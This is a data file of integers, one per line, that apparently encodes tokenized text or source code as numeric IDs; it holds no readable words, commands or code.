52,
290,
5370,
222,
325,
283,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
222,
325,
283,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
222,
325,
283,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
325,
222,
325,
283,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
325,
283,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
325,
283,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
325,
283,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
325,
222,
325,
283,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
325,
283,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
222,
1337,
785,
51,
1693,
858,
28227,
51,
985,
51,
13961,
64,
222,
222,
485,
785,
51,
1693,
858,
28227,
51,
6404,
51,
7114,
1002,
64,
222,
485,
785,
51,
1693,
858,
28227,
51,
624,
51,
8472,
51,
11248,
1420,
1262,
64,
222,
485,
785,
51,
1693,
858,
28227,
51,
624,
51,
8472,
51,
739,
86,
8726,
1262,
1936,
64,
222,
485,
785,
51,
1693,
858,
28227,
51,
624,
51,
4579,
51,
21929,
64,
222,
485,
785,
51,
1693,
858,
28227,
51,
624,
51,
4579,
51,
86,
8726,
10617,
2773,
64,
222,
485,
785,
51,
1693,
858,
28227,
51,
624,
51,
4579,
51,
26287,
739,
64,
222,
485,
785,
51,
1693,
858,
28227,
51,
624,
51,
4579,
51,
7271,
2553,
64,
222,
485,
785,
51,
1693,
858,
28227,
51,
624,
51,
4579,
51,
7271,
2553,
7114,
64,
222,
485,
785,
51,
1693,
858,
28227,
51,
1664,
51,
19278,
64,
222,
485,
785,
51,
1693,
858,
28227,
51,
985,
51,
8543,
51,
1306,
3340,
64,
222,
485,
785,
51,
1693,
858,
28227,
51,
985,
51,
8543,
51,
1306,
1089,
64,
222,
485,
785,
51,
1693,
858,
28227,
51,
985,
51,
8543,
51,
768,
12281,
14858,
64,
222,
485,
785,
51,
1693,
858,
28227,
51,
985,
51,
13787,
51,
4158,
4836,
11147,
64,
222,
485,
785,
51,
1693,
858,
28227,
51,
985,
51,
22042,
20333,
51,
768,
12281,
33749,
20333,
64,
222,
485,
1401,
51,
8236,
51,
1735,
64,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
222,
1350,
222,
338,
222,
338,
496,
2133,
990,
76,
29623,
72,
12013,
222,
588,
222,
942,
462,
7697,
2365,
56,
2041,
3698,
51,
5934,
51,
32273,
4584,
9094,
4836,
11147,
320,
2205,
964,
36429,
739,
364,
100,
5948,
2612,
64,
303,
964,
35379,
1723,
1420,
1262,
364,
100,
4236,
1262,
64,
2205,
964,
36429,
739,
364,
100,
5948,
5557,
64,
303,
964,
35379,
1723,
1420,
1262,
364,
100,
17612,
1262,
64,
465,
1041,
9308,
556,
2252,
990,
86,
8726,
3420,
588,
303,
581,
7697,
2365,
56,
365,
320,
603,
3238,
8176,
492,
303,
339,
2205,
1041,
294,
338,
294,
338,
496,
772,
1142,
294,
588,
303,
496,
1806,
303,
581,
782,
3238,
45,
1306,
1089,
1142,
46,
320,
633,
310,
2426,
12281,
14858,
20944,
14858,
299,
327,
768,
12281,
14858,
46,
1142,
51,
39497,
459,
527,
51,
1693,
858,
28227,
51,
985,
51,
8543,
51,
768,
12281,
14858,
742,
310,
2426,
12281,
33749,
20333,
20944,
33749,
20333,
299,
327,
768,
12281,
33749,
20333,
46,
1142,
51,
39497,
459,
527,
51,
1693,
858,
28227,
51,
985,
51,
22042,
20333,
51,
768,
12281,
33749,
20333,
742,
282,
603,
364,
100,
5948,
2612,
299,
20944,
14858,
51,
11641,
4630,
739,
492,
310,
364,
100,
4236,
1262,
299,
556,
35379,
1723,
1420,
1262,
492,
603,
364,
100,
5948,
5557,
299,
20944,
33749,
20333,
51,
390,
17612,
739,
492,
310,
364,
100,
17612,
1262,
299,
556,
35379,
1723,
1420,
1262,
492,
2281,
633,
310,
364,
100,
111,
72,
730,
577,
51,
42723,
45,
739,
86,
8726,
1262,
1936,
51,
390,
21764,
671,
1052,
310,
364,
100,
111,
72,
730,
5620,
16353,
51,
42723,
45,
739,
86,
8726,
1262,
1936,
51,
390,
21764,
1936,
1052,
310,
364,
100,
111,
72,
730,
5620,
27516,
51,
42723,
45,
739,
86,
8726,
1262,
1936,
51,
390,
21764,
1936,
1052,
303,
339,
2205,
1041,
294,
338,
294,
338,
496,
5124,
9280,
1002,
294,
588,
303,
496,
1806,
303,
581,
782,
18199,
365,
2589,
9280,
1002,
320,
603,
1701,
10558,
687,
299,
364,
100,
5948,
2612,
51,
687,
492,
310,
10558,
687,
51,
688,
45,
53,
49,
762,
312,
310,
364,
100,
4236,
1262,
299,
556,
35379,
1723,
1420,
1262,
45,
2612,
687,
312,
310,
364,
100,
111,
4236,
51,
42723,
45,
114,
100,
4236,
1262,
312,
2776,
1701,
5176,
687,
299,
364,
100,
5948,
5557,
51,
687,
492,
310,
5176,
687,
51,
688,
45,
53,
49,
762,
312,
310,
364,
100,
17612,
1262,
299,
556,
35379,
1723,
1420,
1262,
45,
5557,
687,
312,
310,
364,
100,
111,
17612,
51,
42723,
45,
114,
100,
17612,
1262,
312,
40391,
339,
2205,
1041,
294,
338,
294,
338,
496,
620,
294,
588,
303,
496,
1806,
303,
581,
36375,
2553,
640,
7271,
2553,
365,
320,
310,
461,
556,
36375,
2553,
7114,
45,
343,
556,
10600,
321,
1197,
320,
419,
10600,
321,
51,
8469,
49,
10600,
321,
51,
5215,
49,
9011,
10600,
321,
51,
8469,
49,
10600,
321,
51,
15774,
49,
9011,
10600,
321,
51,
8469,
49,
10600,
321,
51,
15774,
49,
9011,
10600,
321,
51,
8469,
49,
10600,
321,
51,
5215,
49,
9011,
10600,
321,
51,
8469,
49,
10600,
321,
51,
5215,
49,
5707,
419,
10600,
321,
51,
8469,
49,
10600,
321,
51,
5215,
1933,
303,
339,
465,
1041,
294,
338,
294,
338,
496,
620,
294,
588,
303,
496,
1806,
303,
581,
5715,
640,
1735,
365,
320,
310,
461,
477,
64,
303,
339,
27621,
1041,
294,
338,
294,
338,
496,
620,
294,
338,
496,
5124,
9280,
1002,
294,
588,
303,
496,
1806,
303,
581,
2210,
1506,
899,
365,
2589,
9280,
1002,
320,
2776,
434,
327,
114,
100,
111,
37042,
51,
10624,
365,
630,
762,
1293,
364,
100,
111,
37042,
51,
10624,
941,
3591,
34320,
320,
1083,
461,
556,
2210,
1197,
320,
419,
364,
100,
111,
72,
730,
577,
51,
21851,
1114,
1046,
364,
100,
111,
577,
51,
10624,
1046,
419,
364,
100,
111,
72,
730,
5620,
16353,
51,
21851,
1114,
1046,
3735,
1990,
51,
7525,
632,
45563,
51,
2228,
899,
45,
114,
100,
111,
5620,
16353,
51,
10624,
6198,
1485,
419,
364,
100,
111,
72,
730,
5620,
27516,
51,
21851,
1114,
1046,
3735,
1990,
51,
7525,
632,
45563,
51,
2228,
899,
45,
114,
100,
111,
5620,
27516,
51,
10624,
6198,
419,
364,
100,
4236,
1262,
51,
21851,
971,
365,
630,
762,
1037,
1931,
8726,
10617,
2773,
51,
5772,
100,
8476,
518,
1931,
8726,
10617,
2773,
51,
5772,
100,
5914,
88,
49,
364,
100,
4236,
1262,
51,
21851,
971,
1046,
419,
364,
100,
17612,
1262,
51,
21851,
971,
365,
630,
762,
1037,
1931,
8726,
10617,
2773,
51,
5772,
100,
8476,
518,
1931,
8726,
10617,
2773,
51,
5772,
100,
5914,
88,
49,
364,
100,
17612,
1262,
51,
21851,
971,
1046,
1229,
419,
1931,
8726,
10617,
2773,
51,
5772,
100,
8476,
49,
762,
2052,
343,
1487,
310,
339,
832,
320,
40120,
461,
556,
2210,
1197,
320,
419,
1931,
8726,
10617,
2773,
51,
5772,
100,
8476,
49,
762,
49,
419,
1931,
8726,
10617,
2773,
51,
5772,
100,
8476,
49,
762,
49,
419,
1931,
8726,
10617,
2773,
51,
5772,
100,
8476,
49,
762,
49,
419,
1931,
8726,
10617,
2773,
51,
5772,
100,
8476,
49,
762,
49,
419,
1931,
8726,
10617,
2773,
51,
5772,
100,
8476,
49,
762,
49,
419,
1931,
8726,
10617,
2773,
51,
5772,
100,
5914,
88,
49,
364,
100,
111,
37042,
51,
10624,
365,
343,
1487,
310,
339,
303,
339,
5246,
2205,
1041,
1369,
1431,
458,
3845,
664,
4824,
341,
4389,
391,
294,
338,
7395,
341,
2252,
51,
294,
338,
18226,
63,
3291,
2387,
5370,
477,
1361,
51,
906,
1813,
451,
477,
1431,
458,
294,
338,
5198,
40662,
829,
341,
3735,
11419,
51,
294,
588,
303,
453,
350,
5739,
50,
8727,
1263,
1311,
366,
28757,
39,
5615,
366,
6540,
4420,
31146,
7155,
50,
12188,
63,
1683,
8176,
303,
964,
782,
3238,
8176,
365,
320,
603,
364,
100,
111,
37042,
299,
556,
3698,
51,
5934,
51,
31845,
492,
310,
26133,
58,
299,
556,
3698,
51,
5934,
51,
22786,
492,
310,
26133,
54,
299,
556,
3698,
51,
5934,
51,
22786,
492,
310,
26133,
55,
299,
556,
3698,
51,
5934,
51,
22786,
492,
310,
364,
100,
111,
4236,
299,
556,
3698,
51,
5934,
51,
79,
11248,
492,
310,
364,
100,
111,
72,
730,
577,
299,
556,
3698,
51,
5934,
51,
79,
11248,
492,
310,
364,
100,
111,
577,
299,
556,
3698,
51,
5934,
51,
31845,
492,
310,
26133,
57,
299,
556,
3698,
51,
5934,
51,
22786,
492,
310,
26133,
56,
299,
556,
3698,
51,
5934,
51,
22786,
492,
310,
364,
100,
111,
72,
730,
5620,
16353,
299,
556,
3698,
51,
5934,
51,
79,
11248,
492,
310,
364,
100,
111,
72,
730,
5620,
27516,
299,
556,
3698,
51,
5934,
51,
79,
11248,
492,
310,
364,
100,
111,
5620,
16353,
299,
556,
3698,
51,
5934,
51,
31845,
492,
310,
364,
100,
111,
5620,
27516,
299,
556,
3698,
51,
5934,
51,
31845,
492,
310,
26133,
59,
299,
556,
3698,
51,
5934,
51,
22786,
492,
310,
364,
100,
111,
17612,
299,
556,
3698,
51,
5934,
51,
79,
11248,
492,
310,
614,
8103,
7334,
299,
556,
3698,
51,
5934,
51,
32880,
492,
603,
758,
12739,
1269,
45,
909,
1401,
51,
8236,
51,
9884,
45,
57,
61,
53,
49,
244,
55,
56,
53,
894,
310,
758,
13368,
1269,
45,
909,
1401,
51,
8236,
51,
9884,
45,
57,
61,
53,
49,
244,
55,
56,
53,
894,
310,
758,
35606,
45,
909,
1401,
51,
8236,
51,
9884,
45,
57,
61,
53,
49,
244,
55,
56,
53,
894,
603,
364,
100,
111,
37042,
51,
21617,
45,
909,
1401,
51,
8236,
51,
3728,
459,
20399,
411,
244,
53,
49,
244,
54,
57,
894,
453,
32876,
54,
61,
83,
310,
364,
100,
111,
37042,
51,
45046,
45,
909,
1401,
51,
8236,
51,
9884,
45,
54,
58,
53,
49,
244,
56,
53,
894,
603,
26133,
58,
51,
21617,
45,
909,
1401,
51,
8236,
51,
3728,
459,
20399,
411,
244,
53,
49,
244,
54,
57,
894,
453,
32876,
54,
61,
83,
310,
26133,
58,
51,
6619,
45,
1306,
3340,
51,
15384,
671,
459,
1194,
51,
529,
1219,
301,
707,
2992,
453,
32876,
54,
61,
83,
310,
26133,
58,
51,
45046,
45,
909,
1401,
51,
8236,
51,
9884,
45,
54,
53,
53,
49,
244,
56,
53,
894,
603,
26133,
54,
51,
21617,
45,
909,
1401,
51,
8236,
51,
3728,
459,
20399,
411,
244,
53,
49,
244,
54,
57,
894,
453,
32876,
54,
61,
83,
310,
26133,
54,
51,
6619,
45,
1306,
3340,
51,
15384,
671,
459,
1194,
51,
8615,
3168,
2992,
453,
32876,
54,
61,
83,
310,
26133,
54,
51,
45046,
45,
909,
1401,
51,
8236,
51,
9884,
45,
54,
53,
53,
49,
244,
56,
53,
894,
603,
26133,
55,
51,
21617,
45,
909,
1401,
51,
8236,
51,
3728,
459,
20399,
411,
244,
53,
49,
244,
54,
57,
894,
453,
32876,
54,
61,
83,
310,
26133,
55,
51,
6619,
45,
1306,
3340,
51,
15384,
671,
459,
1194,
51,
8615,
444,
2992,
453,
32876,
54,
61,
83,
310,
26133,
55,
51,
45046,
45,
909,
1401,
51,
8236,
51,
9884,
45,
54,
53,
53,
49,
244,
56,
53,
894,
603,
364,
100,
111,
4236,
51,
21617,
45,
909,
1401,
51,
8236,
51,
3728,
459,
20399,
411,
244,
53,
49,
244,
54,
57,
894,
453,
32876,
54,
61,
83,
310,
364,
100,
111,
4236,
51,
45046,
45,
909,
1401,
51,
8236,
51,
9884,
45,
54,
58,
53,
49,
244,
56,
53,
894,
603,
364,
100,
111,
72,
730,
577,
51,
21617,
45,
909,
1401,
51,
8236,
51,
3728,
459,
20399,
411,
244,
53,
49,
244,
54,
57,
894,
453,
32876,
54,
61,
83,
310,
364,
100,
111,
72,
730,
577,
51,
45046,
45,
909,
1401,
51,
8236,
51,
9884,
45,
54,
58,
53,
49,
244,
56,
53,
894,
603,
364,
100,
111,
577,
51,
21617,
45,
909,
1401,
51,
8236,
51,
3728,
459,
20399,
411,
244,
53,
49,
244,
54,
57,
894,
453,
32876,
54,
61,
83,
310,
364,
100,
111,
577,
51,
45046,
45,
909,
1401,
51,
8236,
51,
9884,
45,
54,
58,
53,
49,
244,
56,
53,
894,
603,
26133,
57,
51,
21617,
45,
909,
1401,
51,
8236,
51,
3728,
459,
20399,
411,
244,
53,
49,
244,
54,
57,
894,
453,
32876,
54,
61,
83,
310,
26133,
57,
51,
6619,
45,
1306,
3340,
51,
15384,
671,
459,
1194,
51,
8615,
4440,
13056,
2992,
453,
32876,
54,
61,
83,
310,
26133,
57,
51,
45046,
45,
909,
1401,
51,
8236,
51,
9884,
45,
54,
53,
53,
49,
244,
56,
53,
894,
603,
26133,
56,
51,
21617,
45,
909,
1401,
51,
8236,
51,
3728,
459,
20399,
411,
244,
53,
49,
244,
54,
57,
894,
453,
32876,
54,
61,
83,
310,
26133,
56,
51,
6619,
45,
1306,
3340,
51,
15384,
671,
459,
1194,
51,
8615,
4440,
10607,
2992,
453,
32876,
54,
61,
83,
310,
26133,
56,
51,
45046,
45,
909,
1401,
51,
8236,
51,
9884,
45,
54,
53,
53,
49,
244,
56,
53,
894,
603,
364,
100,
111,
72,
730,
5620,
16353,
51,
21617,
45,
909,
1401,
51,
8236,
51,
3728,
459,
20399,
411,
244,
53,
49,
244,
54,
57,
894,
453,
32876,
54,
61,
83,
310,
364,
100,
111,
72,
730,
5620,
16353,
51,
45046,
45,
909,
1401,
51,
8236,
51,
9884,
45,
54,
58,
53,
49,
244,
56,
53,
894,
603,
364,
100,
111,
72,
730,
5620,
27516,
51,
21617,
45,
909,
1401,
51,
8236,
51,
3728,
459,
20399,
411,
244,
53,
49,
244,
54,
57,
894,
453,
32876,
54,
61,
83,
310,
364,
100,
111,
72,
730,
5620,
27516,
51,
45046,
45,
909,
1401,
51,
8236,
51,
9884,
45,
54,
58,
53,
49,
244,
56,
53,
894,
603,
364,
100,
111,
5620,
16353,
51,
21617,
45,
909,
1401,
51,
8236,
51,
3728,
459,
20399,
411,
244,
53,
49,
244,
54,
57,
894,
453,
32876,
54,
61,
83,
310,
364,
100,
111,
5620,
16353,
51,
45046,
45,
909,
1401,
51,
8236,
51,
9884,
45,
59,
53,
49,
244,
56,
53,
894,
603,
364,
100,
111,
5620,
27516,
51,
21617,
45,
909,
1401,
51,
8236,
51,
3728,
459,
20399,
411,
244,
53,
49,
244,
54,
57,
894,
453,
32876,
54,
61,
83,
310,
364,
100,
111,
5620,
27516,
51,
45046,
45,
909,
1401,
51,
8236,
51,
9884,
45,
59,
53,
49,
244,
56,
53,
894,
603,
26133,
59,
51,
21617,
45,
909,
1401,
51,
8236,
51,
3728,
459,
20399,
411,
244,
53,
49,
244,
54,
57,
894,
453,
32876,
54,
61,
83,
310,
26133,
59,
51,
6619,
45,
1306,
3340,
51,
15384,
671,
459,
1194,
51,
529,
3246,
436,
9740,
2992,
453,
32876,
54,
61,
83,
310,
26133,
59,
51,
45046,
45,
909,
1401,
51,
8236,
51,
9884,
45,
54,
53,
53,
49,
244,
56,
53,
894,
603,
364,
100,
111,
17612,
51,
21617,
45,
909,
1401,
51,
8236,
51,
3728,
459,
20399,
411,
244,
53,
49,
244,
54,
57,
894,
453,
32876,
54,
61,
83,
310,
364,
100,
111,
17612,
51,
45046,
45,
909,
1401,
51,
8236,
51,
9884,
45,
54,
58,
53,
49,
244,
56,
53,
894,
603,
614,
8103,
7334,
51,
21617,
45,
909,
1401,
51,
8236,
51,
3728,
459,
20399,
411,
244,
53,
49,
244,
54,
57,
894,
453,
32876,
54,
61,
83,
310,
614,
8103,
7334,
51,
30587,
45,
909,
3698,
51,
5934,
51,
1675,
2930,
45,
9699,
941,
17633,
4229,
527,
52,
1693,
858,
28227,
52,
2266,
52,
12998,
51,
1665,
13265,
453,
32876,
54,
61,
83,
310,
614,
8103,
7334,
51,
34654,
1269,
45,
909,
1401,
51,
8236,
51,
9884,
45,
57,
61,
53,
49,
244,
55,
56,
53,
894,
310,
614,
8103,
7334,
51,
47446,
45,
909,
1401,
51,
8236,
51,
9884,
45,
57,
61,
53,
49,
244,
55,
56,
53,
894,
310,
614,
8103,
7334,
51,
24508,
45,
909,
1401,
51,
8236,
51,
1585,
51,
17317,
365,
320,
343,
581,
782,
29546,
45,
1874,
51,
8236,
51,
1585,
51,
18126,
13975,
46,
320,
419,
614,
8103,
7334,
22791,
45,
12000,
312,
343,
339,
310,
1141,
603,
3698,
51,
5934,
51,
13305,
6385,
299,
556,
3698,
51,
5934,
51,
13305,
45,
597,
312,
310,
477,
51,
20113,
45,
3106,
312,
310,
6385,
51,
41069,
1582,
45,
343,
6385,
51,
33205,
45,
10775,
51,
5934,
51,
13305,
51,
7759,
51,
37249,
46,
343,
657,
26446,
45,
3106,
51,
42158,
365,
419,
657,
688,
2894,
15719,
365,
419,
657,
26446,
45,
3106,
51,
33205,
45,
10775,
51,
5934,
51,
13305,
51,
7759,
51,
1328,
9619,
1410,
49,
920,
46,
547,
657,
26446,
45,
10775,
51,
5934,
51,
13305,
51,
7759,
51,
37249,
49,
6385,
51,
42158,
365,
733,
657,
18334,
45,
29780,
55,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
46,
733,
657,
688,
17211,
15719,
45,
10775,
51,
5934,
51,
2362,
2291,
51,
1735,
19046,
51,
45205,
46,
733,
657,
18334,
45,
114,
100,
111,
72,
730,
577,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
46,
733,
657,
688,
17211,
15719,
45,
10775,
51,
5934,
51,
2362,
2291,
51,
1735,
19046,
51,
45205,
46,
733,
657,
18334,
45,
114,
100,
111,
577,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
509,
547,
657,
26446,
45,
10775,
51,
5934,
51,
13305,
51,
7759,
51,
37249,
49,
6385,
51,
42158,
365,
733,
657,
18334,
45,
29780,
57,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
46,
733,
657,
688,
17211,
15719,
45,
10775,
51,
5934,
51,
2362,
2291,
51,
1735,
19046,
51,
45205,
46,
733,
657,
18334,
45,
114,
100,
111,
72,
730,
5620,
16353,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
46,
733,
657,
688,
17211,
15719,
45,
10775,
51,
5934,
51,
2362,
2291,
51,
1735,
19046,
51,
45205,
46,
733,
657,
18334,
45,
114,
100,
111,
5620,
16353,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
509,
547,
657,
26446,
45,
10775,
51,
5934,
51,
13305,
51,
7759,
51,
37249,
49,
6385,
51,
42158,
365,
733,
657,
18334,
45,
29780,
56,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
46,
733,
657,
688,
17211,
15719,
45,
10775,
51,
5934,
51,
2362,
2291,
51,
1735,
19046,
51,
45205,
46,
733,
657,
18334,
45,
114,
100,
111,
72,
730,
5620,
27516,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
46,
733,
657,
688,
17211,
15719,
45,
10775,
51,
5934,
51,
2362,
2291,
51,
1735,
19046,
51,
45205,
46,
733,
657,
18334,
45,
114,
100,
111,
5620,
27516,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
509,
547,
657,
26446,
45,
10775,
51,
5934,
51,
13305,
51,
7759,
51,
37249,
49,
6385,
51,
42158,
365,
733,
657,
26446,
45,
3106,
51,
33205,
45,
10775,
51,
5934,
51,
13305,
51,
7759,
51,
37249,
46,
1031,
657,
26446,
45,
3106,
51,
33205,
45,
10775,
51,
5934,
51,
13305,
51,
7759,
51,
1328,
9619,
1410,
46,
1396,
657,
26446,
45,
3106,
51,
42158,
365,
1908,
657,
18334,
45,
29780,
54,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
46,
1908,
657,
688,
17211,
15719,
45,
10775,
51,
5934,
51,
2362,
2291,
51,
1735,
19046,
51,
45205,
46,
1908,
657,
18334,
45,
114,
100,
111,
4236,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
509,
1396,
657,
26446,
45,
3106,
51,
42158,
365,
1908,
657,
18334,
45,
29780,
59,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
46,
1908,
657,
688,
17211,
15719,
45,
10775,
51,
5934,
51,
2362,
2291,
51,
1735,
19046,
51,
45205,
46,
1908,
657,
18334,
45,
114,
100,
111,
17612,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
2636,
1031,
657,
26446,
45,
3106,
51,
42158,
365,
1396,
657,
18334,
45,
29780,
58,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
46,
1396,
657,
688,
17211,
15719,
45,
10775,
51,
5934,
51,
2362,
2291,
51,
1735,
19046,
51,
45205,
46,
1396,
657,
18334,
45,
114,
100,
111,
37042,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
2636,
733,
657,
688,
17211,
15719,
45,
10775,
51,
5934,
51,
2362,
2291,
51,
1735,
19046,
51,
45205,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
13813,
51,
3470,
100,
5986,
46,
733,
657,
18334,
45,
111,
8103,
7334,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
2636,
419,
657,
688,
2894,
15719,
1177,
310,
1110,
310,
6385,
51,
489,
11916,
1582,
45,
343,
6385,
51,
33205,
45,
10775,
51,
5934,
51,
13305,
51,
7759,
51,
37249,
46,
343,
657,
26446,
45,
3106,
51,
42158,
365,
419,
657,
688,
2894,
15719,
365,
419,
657,
26446,
45,
3106,
51,
33205,
45,
10775,
51,
5934,
51,
13305,
51,
7759,
51,
1328,
9619,
1410,
46,
547,
657,
26446,
45,
3106,
51,
42158,
365,
733,
657,
26446,
45,
3106,
51,
33205,
45,
10775,
51,
5934,
51,
13305,
51,
7759,
51,
6185,
4794,
46,
1031,
657,
18334,
45,
29780,
55,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
46,
1031,
657,
18334,
45,
114,
100,
111,
72,
730,
577,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
46,
1031,
657,
18334,
45,
114,
100,
111,
577,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
509,
733,
657,
688,
17211,
15719,
45,
10775,
51,
5934,
51,
2362,
2291,
51,
1735,
19046,
51,
45205,
46,
733,
657,
26446,
45,
3106,
51,
33205,
45,
10775,
51,
5934,
51,
13305,
51,
7759,
51,
6185,
4794,
46,
1031,
657,
18334,
45,
29780,
58,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
46,
1031,
657,
18334,
45,
114,
100,
111,
37042,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
2636,
547,
657,
18334,
45,
111,
8103,
7334,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
509,
419,
657,
688,
17211,
15719,
45,
10775,
51,
5934,
51,
2362,
2291,
51,
1735,
19046,
51,
45205,
46,
419,
657,
26446,
45,
3106,
51,
33205,
45,
10775,
51,
5934,
51,
13305,
51,
7759,
51,
6185,
4794,
46,
547,
657,
18334,
45,
29780,
54,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
46,
547,
657,
18334,
45,
114,
100,
111,
4236,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
509,
419,
657,
688,
17211,
15719,
45,
10775,
51,
5934,
51,
2362,
2291,
51,
1735,
19046,
51,
45205,
49,
244,
61,
49,
13813,
51,
3470,
100,
5986,
46,
419,
657,
26446,
45,
3106,
51,
33205,
45,
10775,
51,
5934,
51,
13305,
51,
7759,
51,
6185,
4794,
46,
547,
657,
18334,
45,
29780,
59,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
46,
547,
657,
18334,
45,
114,
100,
111,
17612,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
509,
419,
657,
688,
17211,
15719,
45,
10775,
51,
5934,
51,
2362,
2291,
51,
1735,
19046,
51,
45205,
46,
419,
657,
26446,
45,
3106,
51,
33205,
45,
10775,
51,
5934,
51,
13305,
51,
7759,
51,
6185,
4794,
46,
547,
657,
18334,
45,
29780,
57,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
46,
547,
657,
18334,
45,
114,
100,
111,
72,
730,
5620,
16353,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
